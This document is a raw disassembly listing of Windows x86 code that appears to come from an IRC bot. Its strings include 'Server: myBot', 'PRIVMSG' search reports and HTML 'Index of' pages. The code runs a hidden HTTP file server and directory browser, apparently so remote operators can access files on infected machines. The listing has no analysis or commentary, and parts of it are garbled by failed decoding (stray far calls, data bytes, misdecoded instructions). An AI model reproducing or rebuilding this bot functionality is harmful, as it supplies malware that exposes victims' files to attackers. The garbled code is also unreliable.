loc_4040A2:				; CODE XREF: sub_403FCB+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_42F6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043B1
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_4040D8:				; CODE XREF: sub_403FCB+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_42F600
		test	eax, eax
		jz	loc_40439C
		cmp	esi, [ebp+var_C]
		jnz	short loc_40415A
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_42F79C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40439C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40412C
		lea	edx, [ebp+var_134]


loc_404120:				; CODE XREF: sub_403FCB+15Fj
		cmp	[edx], eax
		jz	short loc_40412C
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_404120


loc_40412C:				; CODE XREF: sub_403FCB+14Dj
					; sub_403FCB+157j
		cmp	ecx, ebx
		jnz	short loc_404149
		cmp	ebx, 40h
		jnb	short loc_404149
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_404149:				; CODE XREF: sub_403FCB+163j
					; sub_403FCB+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40439C
		mov	[ebp+var_8], eax
		jmp	loc_40439C
; ---------------------------------------------------------------------------


loc_40415A:				; CODE XREF: sub_403FCB+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_413630
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_413630
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_42F720
		test	eax, eax
		jg	short loc_4041ED
		push	esi
		call	ds:dword_42F7A0
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40439C
		lea	eax, [ebp+var_134]


loc_4041AC:				; CODE XREF: sub_403FCB+1EBj
		cmp	[eax], esi
		jz	short loc_4041BD
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_4041AC
		jmp	loc_40439C
; ---------------------------------------------------------------------------


loc_4041BD:				; CODE XREF: sub_403FCB+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_4041E1
		lea	eax, [ebp+ecx*4+var_134]


loc_4041CB:				; CODE XREF: sub_403FCB+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_4041CB


loc_4041E1:				; CODE XREF: sub_403FCB+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40439C
; ---------------------------------------------------------------------------


loc_4041ED:				; CODE XREF: sub_403FCB+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_413630
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_413DB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40439C


loc_40421B:				; CODE XREF: sub_403FCB+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_4042C0
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404294
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_413DB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_404294
		mov	eax, offset asc_422D6C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_413B80
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413B80
		pop	ecx
		pop	ecx
		push	eax
		call	sub_414D28
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_413CC0
		add	esp, 10h
		jmp	short loc_4042AB
; ---------------------------------------------------------------------------


loc_404294:				; CODE XREF: sub_403FCB+27Fj
					; sub_403FCB+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_422D68 ; "\r\n"
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4042DF


loc_4042AB:				; CODE XREF: sub_403FCB+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_4042C0:				; CODE XREF: sub_403FCB+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_413DB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40421B
		jmp	loc_40439C
; ---------------------------------------------------------------------------


loc_4042DF:				; CODE XREF: sub_403FCB+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404329
		lea	eax, [ebp+var_134]


loc_4042EB:				; CODE XREF: sub_403FCB+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_4042FC
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_4042EB
		jmp	short loc_40432C
; ---------------------------------------------------------------------------


loc_4042FC:				; CODE XREF: sub_403FCB+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404320
		lea	eax, [ebp+ecx*4+var_134]


loc_40430A:				; CODE XREF: sub_403FCB+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40430A


loc_404320:				; CODE XREF: sub_403FCB+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40432C
; ---------------------------------------------------------------------------


loc_404329:				; CODE XREF: sub_403FCB+318j
		mov	esi, [ebp+var_4]


loc_40432C:				; CODE XREF: sub_403FCB+32Fj
					; sub_403FCB+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404395
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_413DB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_413DB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404395
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_42F7A4
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_4045A8
		add	esp, 14h
		jmp	short loc_40439C
; ---------------------------------------------------------------------------


loc_404395:				; CODE XREF: sub_403FCB+369j
					; sub_403FCB+38Fj
		push	esi
		call	ds:dword_42F7A0


loc_40439C:				; CODE XREF: sub_403FCB+11Dj
					; sub_403FCB+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_4040D8
		jmp	loc_4040A2
; ---------------------------------------------------------------------------


loc_4043B1:				; CODE XREF: sub_403FCB+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_4043B6:				; CODE XREF: sub_403FCB+6Aj
					; sub_403FCB+92j ...
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_422D20
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_4043FC
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_4110B0
		add	esp, 14h


loc_4043FC:				; CODE XREF: sub_403FCB+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_409615
		pop	ecx
		push	edi
		call	ds:dword_42F7A0
		push	[ebp+var_254]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		adc	eax, 555B5E5Fh
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_413E30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4135AD
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40448B
		push	offset aTextHtml ; "text/html"
		jmp	short loc_404490
; ---------------------------------------------------------------------------


loc_40448B:				; CODE XREF: sub_403FCB+4B7j
		push	offset aApplicationOct ; "application/octet-stream"


loc_404490:				; CODE XREF: sub_403FCB+4BEj
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4135AD
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		outsd
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		out	dx, eax
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_404509
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4135AD
		add	esp, 24h
		jmp	short loc_40452A
; ---------------------------------------------------------------------------


loc_404509:				; CODE XREF: sub_403FCB+51Fj
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4135AD
		add	esp, 28h


loc_40452A:				; CODE XREF: sub_403FCB+53Cj
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_42F758
		cmp	[ebp+var_A4], edi
		jnz	short loc_40456A
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_404EDA
		pop	ecx
		pop	ecx
		jmp	short loc_404587
; ---------------------------------------------------------------------------


loc_40456A:				; CODE XREF: sub_403FCB+587j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_404858
		add	esp, 10h


loc_404587:				; CODE XREF: sub_403FCB+59Dj
		push	[ebp+var_44C]
		call	ds:dword_42F7A0
		push	[ebp+var_B4]
		call	sub_413375
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		lea	ebx, [edi+5Eh]
sub_403FCB	endp ; sp-analysis failed



loc_4045A8:				; CODE XREF: sub_403FCB+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_413630
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4045DE
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_4045E7
; ---------------------------------------------------------------------------


loc_4045DE:				; CODE XREF: seg000:004045D4j
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4045E7:				; CODE XREF: seg000:004045DCj
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_413DB0
		test	eax, eax
		pop	ecx
		jbe	short loc_404682
		mov	dword ptr [ebp+10h], 2


loc_404612:				; CODE XREF: seg000:00404680j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_413DB0
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_404652
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_404652
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_404652
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_404652
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_40466C
; ---------------------------------------------------------------------------


loc_404652:				; CODE XREF: seg000:00404622j
					; seg000:0040462Cj ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_404662
		push	5Ch
		pop	eax
		jmp	short loc_404665
; ---------------------------------------------------------------------------


loc_404662:				; CODE XREF: seg000:0040465Bj
		movsx	eax, al


loc_404665:				; CODE XREF: seg000:00404660j
		mov	[ebp+ebx-210h],	al


loc_40466C:				; CODE XREF: seg000:00404650j
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_413DB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_404612


loc_404682:				; CODE XREF: seg000:00404609j
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-314h]
		push	offset asc_423020 ; "\n"
		push	eax
		call	sub_414D28
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	ds:dword_41F07C	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4046D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4046D3
		push	dword ptr [ebp+8]
		jmp	short loc_40474F
; ---------------------------------------------------------------------------


loc_4046D0:				; CODE XREF: seg000:004046C4j
		mov	[ebp-4], esi


loc_4046D3:				; CODE XREF: seg000:004046C9j
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_4046E0
		mov	[ebp-4], esi


loc_4046E0:				; CODE XREF: seg000:004046DBj
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_40475A
		cmp	[ebp+14h], edi
		jz	short loc_40474E
		lea	eax, [ebp-314h]
		push	offset asc_42301C ; "*"
		push	eax
		call	sub_413CD0
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-210h]
		push	eax
		call	sub_404F97
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_4047A9
; ---------------------------------------------------------------------------


loc_40474E:				; CODE XREF: seg000:004046F7j
		push	ebx


loc_40474F:				; CODE XREF: seg000:004046CEj
		call	ds:dword_42F7A0
		jmp	loc_404851
; ---------------------------------------------------------------------------


loc_40475A:				; CODE XREF: seg000:004046F2j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4047A9
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_4135AD
		pop	ecx
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0A70000h
		mov	edx, 0D0858956h
		cld
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		adc	eax, offset dword_41F070


loc_4047A9:				; CODE XREF: seg000:0040474Cj
					; seg000:00404777j
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_422FD8
		push	eax
		call	sub_4135AD
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_413059
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_43489C[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	404426h
		push	edi
		push	edi
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_404823


loc_404811:				; CODE XREF: seg000:00404821j
		cmp	[ebp-318h], edi
		jnz	short loc_404851
		push	5
		call	ds:dword_41F058	; Sleep
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_404823:				; CODE XREF: seg000:0040480Fj
		push	ebx
		call	ds:dword_42F7A0
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_422F8C
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_409615
		add	esp, 10h


loc_404851:				; CODE XREF: seg000:00404755j
					; seg000:00404817j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404858	proc near		; CODE XREF: sub_403FCB+5B4p
					; seg000:0040F9A7p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_66FD005E	= byte ptr  66FD0066h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_413630
		mov	edi, [ebp+arg_0]
		push	offset asc_423020 ; "\n"
		push	edi
		call	sub_414D28
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4048B7
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 14h
		jmp	loc_4049B4
; ---------------------------------------------------------------------------


loc_4048B7:				; CODE XREF: sub_404858+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40499A
		call	sub_413DB0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		push	edi
		call	sub_413DB0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 0Ch
		jmp	short loc_4049B4
; ---------------------------------------------------------------------------


loc_40499A:				; CODE XREF: sub_404858+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 10h


loc_4049B4:				; CODE XREF: sub_404858+5Aj
					; sub_404858+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		cmp	[ebp+arg_C], ebx
		jz	short loc_404A4C
		push	[ebp+arg_C]
		call	sub_413DB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_404A4C
		push	[ebp+arg_C]
		call	sub_413DB0
		sub	eax, 3
		pop	ecx
		jz	short loc_404A00


loc_4049F4:				; CODE XREF: sub_404858+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_404A00
		dec	eax
		jnz	short loc_4049F4


loc_404A00:				; CODE XREF: sub_404858+19Aj
					; sub_404858+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758


loc_404A4C:				; CODE XREF: sub_404858+17Ej
					; sub_404858+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_41F090	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_41F08C	; FindNextFileA
		test	eax, eax
		jz	loc_404E3D
		mov	edi, 1FFh


loc_404A78:				; CODE XREF: sub_404858+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_404E25
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404E25
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404E25
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0A70000h
		jmp	far ptr	458Dh:50E8458Dh
; ---------------------------------------------------------------------------
		db 0E0h, 50h, 0E8h
; ---------------------------------------------------------------------------
		sub	[ebp+arg_66FD005E], dh
		mov	eax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_404AED
		mov	ecx, offset aAm	; "AM"


loc_404AED:				; CODE XREF: sub_404858+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_404AF9
		sub	eax, 0Ch


loc_404AF9:				; CODE XREF: sub_404858+29Cj
		push	ecx
		movzx	ecx, word ptr [ebp+var_10+2]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4135AD
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_404CA6
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404B7A
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_413B2A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 28h
		jmp	loc_404DF6
; ---------------------------------------------------------------------------


loc_404B7A:				; CODE XREF: sub_404858+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_404C64
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_413DB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404C1A
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_404C1F
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404858+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_404C1F:				; CODE XREF: sub_404858+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_404DE7
; ---------------------------------------------------------------------------


loc_404C64:				; CODE XREF: sub_404858+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_413B2A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_404C91:				; CODE XREF: sub_404858+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 24h
		jmp	loc_404DF6
; ---------------------------------------------------------------------------


loc_404CA6:				; CODE XREF: sub_404858+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404CD0
		push	ebx
		push	[ebp+var_368]
		call	sub_40A6A6
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_404C91
; ---------------------------------------------------------------------------


loc_404CD0:				; CODE XREF: sub_404858+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_404DD0
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_413B2A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42F758
		lea	eax, [ebp+var_35C]
		push	eax
